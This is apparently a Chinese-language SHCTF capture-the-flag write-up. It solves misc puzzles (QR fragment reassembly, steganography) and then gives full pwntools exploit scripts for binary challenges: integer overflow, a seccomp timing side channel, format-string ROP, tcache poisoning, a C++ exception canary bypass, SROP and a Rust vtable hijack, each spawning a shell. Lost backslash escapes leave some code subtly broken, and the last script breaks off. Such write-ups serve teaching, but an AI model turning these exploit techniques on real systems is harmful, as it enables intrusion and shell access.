b64 = lines[i+1].replace(" ", "").strip()
flag = base64.b64decode(b64).decode()[::-1]
print(f"nSUCCESS! Flag: {flag}")
except:
pass
break
if __name__ == "__main__":
main()

SHCTF{M4K3_y0Ur_COMpu7eR_@_helP1U1_p4l}
阶段3
珍贵的Signature

一个文档 改后缀.zip发现是伪加密
在word_rels 有一个doc 里面是一个bmp图片base64转图片就行

然后是单图盲水印

U0hDVEZ7N2hhbmtfeTB1X2Ywcl9sMWsxbmdfTHNjY2N9
base64解码

SHCTF{7hank_y0u_f0r_l1k1ng_Lsccc}
Structured Chaos
这个题目套娃套的不像诗人出了


15张二维码,没有用脚本 所以手动分离

脚本简单识别
exp.py
import cv2
import zxingcpp
import os
import binascii
def analyze_and_reorder():
print("[-] 开始分析 15 个碎片的特征...")
fragments = {}
for i in range(1, 16):
filename = f"{i}.png"
if not os.path.exists(filename): continue
img = cv2.imread(filename)
padded_img = cv2.copyMakeBorder(img, 50, 50, 50, 50, cv2.BORDER_CONSTANT, value=[255, 255, 255])
gray = cv2.cvtColor(padded_img, cv2.COLOR_BGR2GRAY)
results = zxingcpp.read_barcodes(gray)
if not results:
results = zxingcpp.read_barcodes(cv2.bitwise_not(gray))
if results:
try: data = results[0].bytes
except:
try: data = results[0].raw_bytes
except: data = results[0].text.encode('latin-1')
fragments[i] = data
head = data[:4].hex().upper()
tail = data[-4:].hex().upper()
print(f"[碎片 {i:02d}] 长度: {len(data)} | 头: {head} | 尾: {tail}")
else:
print(f"[碎片 {i:02d}] 解码失败")
print("-" * 40)
png_header_hex = "89504E47"
png_footer_hex = "AE426082"
start_index = -1
end_index = -1
for i, data in fragments.items():
hex_data = data.hex().upper()
if hex_data.startswith(png_header_hex):
print(f"[!] 发现 PNG 文件头在: 碎片 {i}")
start_index = i
if hex_data.endswith(png_footer_hex):
print(f"[!] 发现 PNG 文件尾在: 碎片 {i}")
end_index = i
rev_header_hex = "474E5089"
for i, data in fragments.items():
if data.hex().upper().startswith(rev_header_hex):
print(f"[!] 发现 逆序(Reverse) PNG头在: 碎片 {i}")
if start_index == -1 and end_index == -1:
print("[?] 未找到明显的 PNG 头/尾。尝试暴力检测所有可能的排列...")
pass
else:
print(f"[-] 推测顺序: 从 {start_index} 开始,到 {end_index} 结束。")
if __name__ == "__main__":
analyze_and_reorder()
我们发现这个15个解码然后按照顺序拼接就是png图片
[碎片 01] 长度: 2819 | 头: E4603EDA | 尾: 00374DE4
[碎片 02] 长度: 2820 | 头: E8288ECE | 尾: ABF1D294
[碎片 03] 长度: 2820 | 头: 3E7A816A | 尾: 683C3A60
[碎片 04] 长度: 2820 | 头: 89504E47 | 尾: AD350638
[碎片 05] 长度: 2819 | 头: DDF73DA8 | 尾: 6A7F4B02
[碎片 06] 长度: 2819 | 头: 9FCE75CE | 尾: A74F599E
[碎片 07] 长度: 2820 | 头: 6B8FDC0A | 尾: BC2C6D83
[碎片 08] 长度: 2820 | 头: 983ADE03 | 尾: 9957E8AD
[碎片 09] 长度: 2819 | 头: FC282E9A | 尾: 7583603D
[碎片 10] 长度: 2820 | 头: 7574D422 | 尾: 9357D3A6
[碎片 11] 长度: 2819 | 头: C38F1A70 | 尾: C0DA2380
[碎片 12] 长度: 2820 | 头: EAA94D02 | 尾: 3F03BED0
[碎片 13] 长度: 2819 | 头: 798FEC6B | 尾: AE426082
[碎片 14] 长度: 2820 | 头: 12158EB3 | 尾: 27185E91
[碎片 15] 长度: 2819 | 头: E69DDB44 | 尾: DB424F6C
[!] 发现 PNG 文件头在: 碎片 4
[!] 发现 PNG 文件尾在: 碎片 13
这证实了 1.png 到 15.png 的文件名并不是正确的文件顺序,而是网格位置(1-4是第一行,5-8是第二行,以此类推)。 题目叫 "Structured Chaos" (有序的混乱),且起点是 4 (右上角),终点是 13 (左下角)。这极有可能是一个特定的几何路径。
顺序是行优先,从右向左
4, 3, 2, 1, 8, 7, 6, 5, 12, 11, 10, 9, 15, 14, 13
结果出来这个题目时一个套娃题目
思路就是:二维码协议支持将一个大的文件切分成最多 16 个碎片进行传输。每个碎片中包含:序列号:标识该碎片在整体中的位置。校验和:用于确保所有碎片属于同一个文件。
题目中的 15 枚残片正是利用此协议。虽然它们在 4 times 4的网格中看似杂乱无章,但 zbarimg 等专业工具可以自动识别这种协议,并按正确的字节顺序直接重组出原始二进制流,而无需手动计算拼接路径。
套娃
解码后的数据并非文本,而是一个完整的 PNG 文件头 89 50 4E 47。 打开该图片后,内容依然是一个二维码。重复解码过程会发现,每一层二维码的内容都是下一层图片的二进制流。这种“套娃”结构总共嵌套了 11 层。
解题
调用 zbarimg 获取当前图片的二进制输出。
判断数据头是否为 PNG 特征码 89 50 4E 47。
若是图片,则保存并作为下一轮输入;若不是,则触达终点。
exp.py
import subprocess, os
cur, lv = "Structured Chaos.png", 0
while True:
lv += 1
res = subprocess.run(["zbarimg", "-q", "--raw", "--oneshot", "-Sbinary", cur], capture_output=True)
if res.returncode != 0 or not res.stdout: break
out = f"lv{lv}.bin"
with open(out, "wb") as f: f.write(res.stdout)
if res.stdout.startswith(b'x89PNG'):
cur = f"lv{lv}.png"
os.rename(out, cur)
print(f"[+] Lv{lv}: {cur} ({len(res.stdout)} bytes)")
else:
print(f"n[!] End: {out}n{subprocess.run(['file', out], capture_output=True, text=True).stdout.strip()}")
break



套的真多
SHCTF{57ruc7ur3d_App3nd_J1gs4w_R3c0n57ruc73d}
问卷反馈


SHCTF{th@nK_y0u_FoR_pAr7icipat1n9_in_SHCTF_3rd}
Pwn
阶段1
int_overflow

道题是一道结合了整数溢出和 栈溢出的 Pwn 题目。
漏洞分析
整数溢出 (绕过 main 函数检查):
代码逻辑:
char v4 = 0; // 8位变量 (-128 到 127 或 0 到 255)
// ...循环两次输入 v5...
if ( v5 > 9 ) return 0; // 输入必须 <= 9,但可以是负数
v4 += v5;
if ( v4 == 100 ) backdoor(100);

目标:让 v4 等于 100。
限制:每次输入的数不能超过 9。正常正数相加最大只能是 9+9=18,无法达到 100。
绕过方法:利用 char 类型(8 bit)的溢出特性。我们可以输入负数。
$$
在 8 位二进制中,100 (0x64) 对应的补码如果是负数推算的话:X equiv 100 pmod{256}100 – 256 = -156
$$
我们需要两个小于等于 9 的数相加等于 -156。
例如:-100 和 -56。
-100 + (-56) = -156
-156 的十六进制是 0xFF64 (取低8位即 0x64 = 100)。
这样 v4 就会变成 100,成功进入 backdoor 函数。
栈溢出 (backdoor 函数):

char buf[10]; // 位于 rbp-0x1D
char command[11]; // 位于 rbp-0x13,内容初始化为 "echo hello"
// ...
read(0, buf, (unsigned int)(a1 - 80)); // a1 传入的是 100,所以读取 20 字节
system(command);
内存布局:
buf 距离 rbp 偏移 0x1D (29)。command 距离 rbp 偏移 0x13 (19)。两者距离:29 – 19 = 10字节。
攻击点:read 允许写入 20 字节,但 buf 到 command 只有 10 字节的空间。我们可以先写入 10 个字节填满 padding,紧接着写入 /bin/sh 覆盖原本的 "echo hello"。
随后程序执行 system(command) 时,就会执行 system("/bin/sh") 从而拿到 shell。
exp.py
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
ip = 'challenge.shc.tf'
port = 30536
io = remote(ip, port)
io.recvuntil(b"number1")
io.sendline(b"-100")
io.recvuntil(b"number2")
io.sendline(b"-56")
io.recvuntil(b"what is your name")
payload = b'A' * 10 + b'/bin/shx00'
io.send(payload)
io.interactive()

SHCTF{822463dd-e10e-497b-bcf4-794aee6624bf}
execve?orw?

题目分析:
程序为 64 位 ELF,开启了 NX 保护。main 函数逻辑如下:

打开 ./flag 文件。
使用 mmap 将 flag 文件内容映射到固定内存地址 0x11451000。
读取用户输入的 Shellcode 到地址 0x11451500。
调用 sandbox() 加载 Seccomp 沙箱规则(经测试禁用了 write 等系统调用,只允许 exit)。
执行用户输入的 Shellcode。
漏洞函数:main 函数:漏洞点在于直接执行了用户输入的任意机器码:((void (*)(void))0x11451500)();
利用思路:
由于 Seccomp 禁用了输出函数(如 write),无法直接回显 flag。但 flag 已存在于已知内存 0x11451000 中,且允许执行计算指令和 exit。
采用 基于时间的侧信道攻击:
构造 Shellcode 读取 flag 的某一位字符。
与猜测的字符进行比较 (cmp)。
如果相等:执行死循环 (jmp ),导致服务器连接超时。
如果不等:执行 exit(0),导致服务器立即断开连接。
通过 Python 脚本判断连接断开的时间长短,逐位爆破 Flag。
exp.py
from pwn import *
import time
import string
context.log_level = 'error'
def check_char(index, char_code):
try:
p = remote('challenge.shc.tf', 30494)
p.recvuntil(b'execve? orw?')
target_addr = 0x11451000 + index
payload = b''
payload += b'x48xbe' + p64(target_addr)
payload += b'x8ax06'
payload += b'x3c' + bytes([char_code])
payload += b'x74x09'
payload += b'x48xc7xc0x3cx00x00x00'
payload += b'x0fx05'
payload += b'xebxfe'
p.send(payload)
start_time = time.time()
try:
p.recvall(timeout=1.5)
except:
pass
end_time = time.time()
p.close()
if end_time - start_time > 1.2:
return True
return False
except:
return False
flag = "SHCTF{"
index = len(flag)
charset = string.ascii_lowercase + string.digits + "_}" + string.ascii_uppercase + string.punctuation
print(f"[*] Starting Blind Side-Channel Attack...")
print(f"[*] Known Prefix: {flag}")
while True:
found_char = False
for char in charset:
print(f"r[*] Trying: {flag}{char}", end="")
if check_char(index, ord(char)):
flag += char
index += 1
found_char = True
print(f"n[+] Found: {flag}")
if char == '}':
exit(0)
break
if not found_char:
time.sleep(1)

SHCTF{1fd60bf1-cb9f-41dd-9559-77dc8267d926}
baby_fmt


漏洞点:main 函数中存在 while(1) 循环,循环内调用 printf(format),导致无限次格式化字符串漏洞。

// 漏洞代码片段
strcpy(format, "text:");
while ( 1 ) {
printf("Input your text: ");
fgets(&format[5], 256, stdin); // 用户输入拼接到 format 中
printf(format); // 格式化字符串漏洞
}
保护机制:
Full RELRO:无法修改 GOT 表(如劫持 printf@got)。
PIE 开启:代码段地址随机。
NX 开启:栈不可执行。
利用逻辑
由于无法修改 GOT 表,且 One Gadget 因寄存器环境限制导致利用失败,最终方案采用 劫持栈上返回地址 并 写入 ROP Chain 的方式。
1.信息泄露
利用格式化字符串 %p 泄露栈上残留的 Libc 地址 (__libc_start_main+128) 和 PIE 地址 (main 函数地址)。
目的:计算 Libc 基址(用于调用 system 和 gadgets)和程序基址(用于后续判定栈上数据)。
2. 泄露栈地址
利用 Libc 中的全局变量 environ。该符号存储了一个指向栈上环境变量区的指针。
操作:利用格式化字符串漏洞(%s)读取 libc.sym['environ'] 指向的内容。
目的:获取栈的绝对地址,作为后续搜索的基准点。
3.暴力搜索返回地址
难点:栈帧深度可能变化,无法直接确定 printf 返回地址相对于 environ 的固定偏移。
操作:
从泄露的 environ 地址向低地址方向(Stack Growth方向)进行暴力扫描(范围 0x100 - 0x500)。
利用格式化字符串读取栈上每个位置的值。
判定条件:检查读出的值是否位于程序的 代码段范围内(通过 Step 1 的 PIE 基址判断)。printf 的返回地址必然指向 main 函数内部(偏移 0x11ee ~ 0x1300)。
锁定目标:取所有符合条件地址中的最小值(min(potential_addrs))。因为栈向低地址增长,地址最小的那个即为当前最深层函数(printf)的返回地址。
4. ROP Chain 攻击
由于 Full RELRO,直接修改栈上的 Return Address 是最有效的手段。
构造 ROP 链:
pop rdi; ret:将 /bin/sh 地址弹入 rdi 寄存器(参数1)。
ptr to "/bin/sh":参数内容。
ret:单纯的 ret 指令,用于 栈对齐 (16-byte alignment),防止 system 中的 movaps 指令崩溃。
system:执行 shell。
操作:利用 fmtstr_payload 将上述 ROP 链直接写入刚才定位到的 Target Stack Address。
exp.py
from pwn import *
import time
context.log_level = 'debug'
context.arch = 'amd64'
binary_name = './pwn'
libc_name = './libc.so.6'
ip = 'challenge.shc.tf'
port = 30701
elf = ELF(binary_name, checksec=False)
libc = ELF(libc_name, checksec=False)
io = remote(ip, port)
io.recvuntil(b"Input your text: ")
io.sendline(b'%41$p|%43$p|')
io.recvuntil(b"text:")
leaks = io.recvline().strip().split(b'|')
libc_leak = int(leaks[0], 16)
pie_leak = int(leaks[1], 16)
libc.address = libc_leak - 0x29d90
elf.address = pie_leak - 0x11ee
log.success(f"Libc Base: {hex(libc.address)}")
log.success(f"PIE Base : {hex(elf.address)}")
environ_ptr = libc.sym['environ']
payload = b'%8$s' + b'a'*7 + p64(environ_ptr)
io.recvuntil(b"Input your text: ")
io.sendline(payload)
io.recvuntil(b"text:")
raw_leak = io.recv(6)
stack_leak = u64(raw_leak.ljust(8, b''))
log.success(f"Stack Leak (environ): {hex(stack_leak)}")
potential_addrs = []
for delta in range(0x100, 0x500, 8):
try:
curr_ptr = stack_leak - delta
payload = b'%8$s' + b'a'*7 + p64(curr_ptr)
io.recvuntil(b"Input your text: ")
io.sendline(payload)
io.recvuntil(b"text:")
rec = io.recv(6, timeout=0.1)
if len(rec) < 4: continue
val = u64(rec.ljust(8, b''))
offset = val - elf.address
if 0x11ee < offset < 0x1300:
log.info(f"Candidate: {hex(curr_ptr)} -> {hex(val)}")
potential_addrs.append(curr_ptr)
except: continue
if not potential_addrs:
log.error("No return address found.")
target_ret_ptr = min(potential_addrs)
log.success(f"Target Stack Address: {hex(target_ret_ptr)}")
pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
ret = libc.address + 0x29cd6
rop_writes = {
target_ret_ptr : pop_rdi,
target_ret_ptr + 8 : bin_sh,
target_ret_ptr + 16 : ret,
target_ret_ptr + 24 : system
}
payload = fmtstr_payload(8, rop_writes, numbwritten=16, write_size='short')
final_payload = b'a'*11 + payload
io.recvuntil(b"Input your text: ")
io.sendline(final_payload)
try:
io.recvuntil(b"text:", timeout=1)
io.clean(timeout=0.5)
except: pass
time.sleep(0.5)
io.sendline(b"ls; cat flag; cat /flag")
io.interactive()

SHCTF{50d09d8b-8c1e-4837-99f3-1e7fef190eb5}
Linklist

nc连接

漏洞点:


create (创建节点) 函数是:sub_401212
edit (编辑节点) 函数是:sub_4013AE

puts("content?");
read(0, *(void **)qword_4040B0, 0x20u); // 向当前节点的内容指针写入 0x20 字节
这个固定写入 0x20 字节的行为正是造成堆溢出(Heap Overflow)的原因(因为如果创建时申请的大小只有 24 字节,这里就会溢出 8 字节覆盖下一个块的头部)。
对应关系
sub_401212 -> 1. create node
sub_401358 -> 2. delete node
sub_4012E1 -> 3. show node
sub_4013AE -> 4. edit node
程序中 create 函数允许用户指定堆块大小,而 edit 函数固定读取 0x20 字节。
当申请大小为 24 (0x18) 时,系统分配 0x20 大小的 Chunk(0x18 用户数据 + 0x8 块头)。此时 edit 的 0x20 字节写入会填满当前的 0x18 用户数据,并溢出 8字节 到下一个 Chunk 的 Header,覆盖其 Size 字段。
利用思路:
构造堆块重叠:
分配三个节点 A、B、C。释放 B 和 C,通过编辑 A,溢出覆盖 B 的 Size 字段,将其从 0x21 修改为 0x61(覆盖了 B、B的内容块、C)。
Tcache 投毒:
重新申请 B(消耗 Tcache 0x20),然后释放 B。此时 Free 检测到 Size 为 0x61,将其放入 Tcache 0x60。同时 B 的内容块(Size 0x21)被放入 Tcache 0x20。
控制节点结构体:
申请一个大节点 D(Size 88)。
Node D 结构体分配时取 Tcache 0x20(原 B 的内容块)。
Content D 分配时取 Tcache 0x60(原 B 的节点块)。
现象:Node D 的结构体实际上位于 Content D 的数据区域内部(偏移 32 字节处)。
劫持 GOT 表:
在写入 Content D 时,直接伪造内部的 Node D 结构体,将其 content 指针指向 free@got。
Leak & GetShell:
show 泄露 free 地址,计算 Libc基址。
edit 修改 free@got 为 system 地址。
创建 /bin/sh 节点并删除,触发 free("/bin/sh") -> system("/bin/sh")。
exp.py
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
binary = './vuln'
libc_file = './libc-2.31.so'
elf = ELF(binary)
libc = ELF(libc_file)
p = remote('challenge.shc.tf', 31028)
def create(size, content):
p.sendlineafter(b'choice?n', b'1')
p.sendlineafter(b'size?n', str(size).encode())
p.sendafter(b'content?n', content)
def delete():
p.sendlineafter(b'choice?n', b'2')
def show():
p.sendlineafter(b'choice?n', b'3')
def edit(content):
p.sendlineafter(b'choice?n', b'4')
p.sendafter(b'content?n', content)
create(24, b'A'*24)
create(24, b'B'*24)
create(24, b'C'*24)
delete()
delete()
edit(b'A'*24 + p64(0x61))
create(24, b'B'*24)
delete()
payload = b'A'*32 + p64(elf.got['free']) + p64(0)
create(88, payload)
show()
p.recvuntil(b'content: ')
libc.address = u64(p.recvline()[:-1].ljust(8, b'x00')) - libc.sym['free']
success(f'Libc: {hex(libc.address)}')
edit(p64(libc.sym['system']))
create(24, b'/bin/shx00')
delete()
p.interactive()

SHC7F{4NyTh!n6_buT_oV3rIAP_m4K3_YOU_MucH_$tr0Nger}
cpp_canary


利用 C++ 异常处理机制绕过 Canary 保护 并结合 Stack Pivot (栈迁移) 获取 Shell 的题目。
定位溢出点
打开 IDA 分析 login 函数。 可以看到 passwd 数组大小仅为 16 字节 (0x10),但在读取时却允许读取 0x100 字节。

char passwd[16]; // [rsp+E0h] [rbp-40h]
// ...
printf("password: ");
read(0, passwd, 0x100u); // 严重栈溢出,可覆盖 Canary 和 Saved RBP
定位异常触发点
在 login 函数末尾的 User::operator== 检查中,存在以下逻辑:

// 检查 key
for ( i = 0; i <= 2; ++i )
{
// std::string::at() 会进行边界检查
v3 = *(_BYTE *)std::string::at(&this->key_, i);
// ...
}
如果 key 的长度为 0,调用 at(0) 会抛出 std::out_of_range 异常。
异常处理流程
查看 main 函数,发现存在 try-catch 块:

try {
login();
} catch (...) {
// 捕获异常,打印 Goodbye
}
return 0; // 执行 leave; ret
漏洞原理
通常情况下,覆盖 Canary 会导致 __stack_chk_fail 强行终止程序。但 C++ 异常处理机制(Stack Unwinding) 有一个特性:
当 login 抛出异常时,程序流程会跳过 login 函数正常的返回检查(即跳过 Canary 检查)。
异常被 main 捕获处理后,main 函数正常退出,执行 leave; ret。
leave 指令等价于 mov rsp, rbp; pop rbp。它依赖栈上的 Saved RBP 来恢复栈帧。
攻击思路: 通过 passwd 的溢出覆盖 login 栈帧底部的 Saved RBP。当异常抛出回到 main 并执行 leave 时,RSP 会被迁移到我们伪造的地址(即 passwd 或 username 缓冲区),紧接着的 ret 就会执行我们布置在那里的后门地址。
利用步骤
布置 Payload:
Username (rbp-0x50): 填充 backdoor 地址(作为 NOP Sled)。
Password (rbp-0x40): 填充 backdoor 地址,并在第 64 字节后覆盖 Saved RBP 的最低位(LSB)。
触发异常:
Key: 输入 x00。这会导致 std::string 构造为空串,触发 at(0) 越界异常,从而绕过 Canary。
爆破偏移 :
由于栈地址随机化,我们需要爆破 Saved RBP 的最低 1 字节(0x00-0xFF)。
实测在偏移为 0x78 时,main 函数的 leave 指令成功将 RSP 劫持回 passwd 缓冲区开头,ret 弹出 backdoor 地址拿到 Shell。

exp.py
from pwn import *
import time
BACKDOOR_ADDR = 0x4025db
HOST = 'challenge.shc.tf'
PORT = 32620
context.arch = 'amd64'
context.log_level = 'error'
def probe(payload_len, pivot_byte):
io = None
try:
io = remote(HOST, PORT, timeout=2)
io.sendafter(b'username: ', p64(BACKDOOR_ADDR) * 2)
fill_count = payload_len // 8
payload = p64(BACKDOOR_ADDR) * fill_count
payload += b'A' * (payload_len - len(payload))
payload += p8(pivot_byte)
io.sendafter(b'password: ', payload)
io.sendafter(b'key: ', b'x00')
io.sendline(b'echo POWNED; id; cat flag')
start = time.time()
while time.time() - start < 1.5:
if io.can_recv():
data = io.recvrepeat(0.2)
if b'POWNED' in data or b'uid=' in data or b'flag{' in data:
return data
io.close()
return None
except Exception:
if io: io.close()
return None
print(f"[*] Targeting Backdoor: {hex(BACKDOOR_ADDR)}")
print("[*] Starting Smart Fuzzing...")
target_lengths = [64, 56, 72]
for length in target_lengths:
for offset in range(0x00, 0x100, 4):
print(f"r [-] Testing Length: {length}, Offset: {hex(offset)}...", end='')
flag_data = probe(length, offset)
if flag_data:
print(f"nn[!!!] SUCCESS! Length: {length}, Offset: {hex(offset)}")
print(f"[+] Output:n{flag_data.decode(errors='ignore')}")
exit(0)
print("n[-] Failed.")

SHCTF{9a750135-0f75-4115-bb4f-5b9ccaf24dcc}
阶段2
Earth_Online

IDA 分析漏洞函数:buy_house



程序检查一个全局变量(钱包余额/状态)。
如果通过检查,程序会询问 Enter size。
漏洞点:程序调用 read(0, buf, size)。这里的 buf 是栈上的局部变量,距离 RBP 只有 0x50 字节左右。但是,如果我们在之前的交互中让程序认为我们“有钱”,这里的 size 可以被输入为 512 甚至更大。
溢出:向 0x50 大小的栈缓冲区写入 512 字节,直接覆盖了 Saved RBP 和 Return Address。
绕过检查
通过静态分析发现,必须让程序内部的计数器达到一定数值才能触发大额读取。经过测试,流程如下:
在“购买菜单”失败 3 次。
切换到“打工菜单”。
在“购买菜单”失败 12 次。
最后进入隐藏的购买逻辑。
栈迁移目标地址 (BSS 段)
我们需要一个可读写且地址固定的区域来伪造栈。
readelf -S pwn | grep bss

找到 .bss 段起始地址约为 0x406080。我们选取 0x406180 作为 SROP 的新栈底,选取 0x4060a0 (stderr 指针附近) 作为泄露点。
我们需要劫持返回地址,跳回到程序中原本用来打印 “You can write up to %d…” 的地方,利用它打印出 stderr 的地址。

查看 buy_house 的汇编视图。找到调用 printf 之前几行指令的地址。
结果:0x40222d。
checksec --file=pwn

程序开启了 NX,需要利用 Libc 中的 Gadget。
查找 pop rax
ROPgadget --binary libc.so.6 --only "pop|ret" | grep rax

0x000dd237 (偏移)
查找 syscall
ROPgadget --binary libc.so.6 --only "syscall|ret"

0x000288b5 (偏移)
利用思路
交互绕过:发送特定序列的操作,进入溢出点。
栈迁移 & Leak:
覆盖 RBP 为 0x4060f8 (BSS 上 stderr 指针附近)。
覆盖 Ret Addr 为 0x40222d (Printf 逻辑)。
程序执行 leave; ret 后,RBP 被劫持。随后的 printf 会依据 RBP 读取栈上数据,导致 stderr 的真实地址被打印出来。
计算 Libc Base = Leak_Addr - libc.sym['stderr']。
SROP:
再次利用 read 输入 Payload。
构造 SigreturnFrame:将 RIP 指向 syscall,RAX 设为 59 (execve),RDI 指向 /bin/sh。
发送 Payload,触发 pop rax (15); syscall。
内核恢复我们伪造的寄存器状态,获得 Shell。
exp.py
from pwn import *
HOST = "challenge.shc.tf"
PORT = 32435
binary = "./pwn"
libc_file = "./libc.so.6"
context.log_level = "info"
context.arch = "amd64"
context.terminal = ["/bin/sh"]
elf = ELF(binary)
libc = ELF(libc_file)
def get_shell():
try:
p = remote(HOST, PORT)
except:
print("Connection Failed")
return
def fail_buy():
p.sendlineafter(b"Choice $", b"3")
p.sendlineafter(b"Enter size $", b"1")
try: p.recvuntil(b"Transaction failed!", timeout=0.1)
except: pass
for _ in range(3): fail_buy()
p.sendlineafter(b"Choice $", b"2")
for _ in range(12): fail_buy()
p.sendlineafter(b"Choice $", b"2")
p.sendlineafter(b"Choice $", b"1")
p.sendlineafter(b"Choice $", b"4")
p.sendlineafter(b"Choice $", b"3")
p.sendlineafter(b"Enter size $", b"512")
p.recvuntil(b"(You can write up to ")
p.recvuntil(b" characters) $")
bss_base = 0x4060a0
magic_ret = 0x40222d
fake_rbp = bss_base + 0x58
payload = b'A' * 0x50
payload += p64(fake_rbp)
payload += p64(magic_ret)
p.send(payload.ljust(0x80, b'x00'))
p.recvuntil(b"Your dream house is ")
p.recvline()
p.recvuntil(b"(You can write up to ")
leak_data = p.recvuntil(b" characters", drop=True)
libc_leak = int(leak_data)
libc_base = libc_leak - libc.sym['_IO_2_1_stderr_']
libc.address = libc_base
success(f"Libc Base: {hex(libc_base)}")
rop = ROP(libc)
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
syscall = rop.find_gadget(['syscall', 'ret']).address
binsh = next(libc.search(b"/bin/shx00"))
new_stack_addr = 0x406180
frame_addr = new_stack_addr + 0x20
leave_ret = 0x402279
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh
frame.rsi = frame_addr + 0x100
frame.rdx = 0
frame.rip = syscall
frame.rsp = frame_addr + 0x200
payload2 = bytearray(b'A' * 1024)
payload2[0] = 0
off_rbp = fake_rbp - (bss_base + 0x8)
payload2[0x50:0x58] = p64(new_stack_addr)
payload2[0x58:0x60] = p64(leave_ret)
chain = flat([pop_rax, 15, syscall])
rop_start = (new_stack_addr + 8) - (bss_base + 0x8)
payload2[rop_start : rop_start + len(chain)] = chain
frame_bytes = bytes(frame)
frame_start = (frame_addr) - (bss_base + 0x8)
payload2[frame_start : frame_start + len(frame_bytes)] = frame_bytes
argv_start = (frame_addr + 0x100) - (bss_base + 0x8)
payload2[argv_start : argv_start + 16] = p64(binsh) + p64(0)
p.send(bytes(payload2))
sleep(0.5)
p.clean()
p.interactive()
if __name__ == "__main__":
get_shell()

SHCTF{18ea057d-9b15-4c35-93f0-5bbddc1581d2}
hello rust


商城功能的 Item 2 (对的对的,不对不对) 存在逻辑设计缺陷:
功能: 支付 200 元,显示 Flag 的前 N 位。
机制: 每次购买,flag_idx 加 1。
后门: 当购买长度达到 flag 总长度的一半时 (len >> 1),程序会直接打印 完整 Flag。
解法: 利用 Item 1 (打工) 循环赚取足够金钱(约 9000 元),然后循环购买 Item 2 直到 Flag 完整输出。
核心函数
| 函数 | 核心作用 |
|---|---|
handle() | 交互主逻辑,处理 5 个选项(打工 / 消费 / 改昵称 / 独立宣言 / 退出) |
SimpleRng::next() | 随机数生成(打工赚钱金额由其决定):state = state * 0x5851F42D4C957F2D + 0x14057B7EF767814F 后取模 |
generate_fake_flag() | 生成假 flag(干扰项),真 flag 需攒钱购买 |
edit_name() | 昵称修改(无利用价值) |
逻辑问题,没有用漏洞。也可以用漏洞,我觉得不会这么简单 先看看可以不
循环执行「打工」操作,直到余额 ≥ 9000
循环执行「消费」操作,从返回内容中匹配并提取 flag
然后购买 选择0
exp.py
from pwn import *
import re
import time
HOST = 'challenge.shc.tf'
PORT = 31733
context.log_level = 'info'
def solve():
try:
p = remote(HOST, PORT)
p.recvuntil(b'> ')
TARGET_MONEY = 9000
current_balance = 0
for i in range(500):
p.sendline(b'1')
res = p.recvuntil(b'> ')
if i % 10 == 0:
matches = re.findall(rb'xeffexa5(d+)', res)
if not matches:
matches = re.findall(rb'xefxbfxa5(d+)', res)
if matches:
current_balance = int(matches[-1])
if current_balance >= TARGET_MONEY:
break
if current_balance < TARGET_MONEY:
return
for i in range(50):
p.sendline(b'2')
p.recvuntil(b': ')
p.sendline(b'2')
res = p.recvuntil(b'> ').decode(errors='ignore')
full_match = re.search(r'((SHCTF|flag){.*?})', res)
if full_match:
print(f"Flag: {full_match.group(1)}")
return
part_match = re.search(r'当前已购买:s*([^sn]+)', res)
if part_match:
current_flag = part_match.group(1)
if current_flag.endswith('}'):
print(f"Flag: {current_flag}")
return
if "余额不足" in res:
break
p.interactive()
except Exception as e:
print(e)
if __name__ == "__main__":
solve()

SHCTF{be50f294-36d8-7a1c-be50-f29436d87a1c}
假的,我去….
在看看 函数
看描述发现主要利用了 Rust 的 Mutex Poisoning(互斥锁中毒) 机制和 Trait Object(特征对象) 的虚表劫持。
触发 Panic 让锁中毒
Rust 的 Mutex 锁有一个特性:如果一个线程在持有锁的时候发生了 Panic(崩溃),这个锁就会变成 “Poisoned”(中毒)状态。
hello_rust::shopping_time函数 数组越界检查

发送 256 导致程序 Panic,让锁中毒,这就激活了这个 if 里面的代码。

地址泄露
题目在隐藏商品中直接提供了关键地址,不需要我们在本地去调试找偏移,直接“买”情报即可。
获取 Heap 地址:购买 隐藏商品 3。程序会打印出当前 User 对象中 Name 字段在堆上的内存地址。
获取 System 地址:购买 隐藏商品 5。程序会打印出 system 函数(或者 libc基址相关)的内存地址。
怎么找的?:这不是通过命令找到的,而是题目逻辑中写死的。当锁中毒后,商店里会多出来这几个选项,购买后的回显内容里包含了 0x 开头的十六进制数据,脚本通过正则提取这些地址。

伪造虚表

Rust 的动态分发(Trait Object)在内存中是一个“胖指针”,包含两个指针:
data_ptr: 指向数据(这里是 Name)。
vtable_ptr: 指向虚函数表(Vtable)。
我们需要构造一个伪造的 Role 对象,覆盖原本的结构:
构造 Payload:
在 Name 的开头写入 /bin/shx00。
在 Name 的后半部分伪造一个 Vtable。Vtable 的第 4 项(偏移 0x18)是 manifesto 函数,我们将它修改为泄露出来的 system 地址。
覆盖 Role 对象的指针:
让 data_ptr 指向 Name 的地址(即 /bin/sh)。
让 vtable_ptr 指向 Name 中伪造 Vtable 的位置。
触发 RCE
回到主菜单选择 Option 4 (独立宣言)。
程序会调用 role.manifesto()。
由于虚表被劫持,实际执行的是 system("/bin/sh")。
拿到 Shell 后执行 cat /flag。
exp.py
#!/usr/bin/env python3
from pwn import *
import re
import time
HOST = 'challenge.shc.tf'
PORT = 31463
BINARY = './hello_rust'
context.binary = ELF(BINARY, checksec=False)
context.log_level = 'info'
BAL_RE = re.compile(r'uFFE5(d+)')
HEX_RE = re.compile(r'0x[0-9a-fA-F]+')
def start():
try:
return remote(HOST, PORT)
except Exception as e:
log.error(str(e))
def recv_menu(p):
return p.recvuntil(b'> ')
def parse_balance(data):
s = data.decode('utf-8', errors='ignore')
ms = list(BAL_RE.finditer(s))
return int(ms[-1].group(1)) if ms else 0
def poison(p):
log.info("[*] 正在尝试让 Mutex 中毒 (发送 256 到商店)...")
p.sendline(b'2')
p.recvuntil(b': ')
p.sendline(b'256')
return recv_menu(p)
def work_to(p, target, menu_data):
bal = parse_balance(menu_data)
log.info(f"[*] 开始打工,目标金额: ¥{target} (当前: ¥{bal})")
start_ts = time.time()
while bal < target:
p.send(b'1n' * 5)
time.sleep(0.1)
p.clean()
p.sendline(b'1')
try:
menu_data = recv_menu(p)
bal = parse_balance(menu_data)
if bal % 500 < 100:
log.info(f" 当前余额: ¥{bal}")
except:
pass
log.success(f"[*] 打工完成,余额: ¥{bal}")
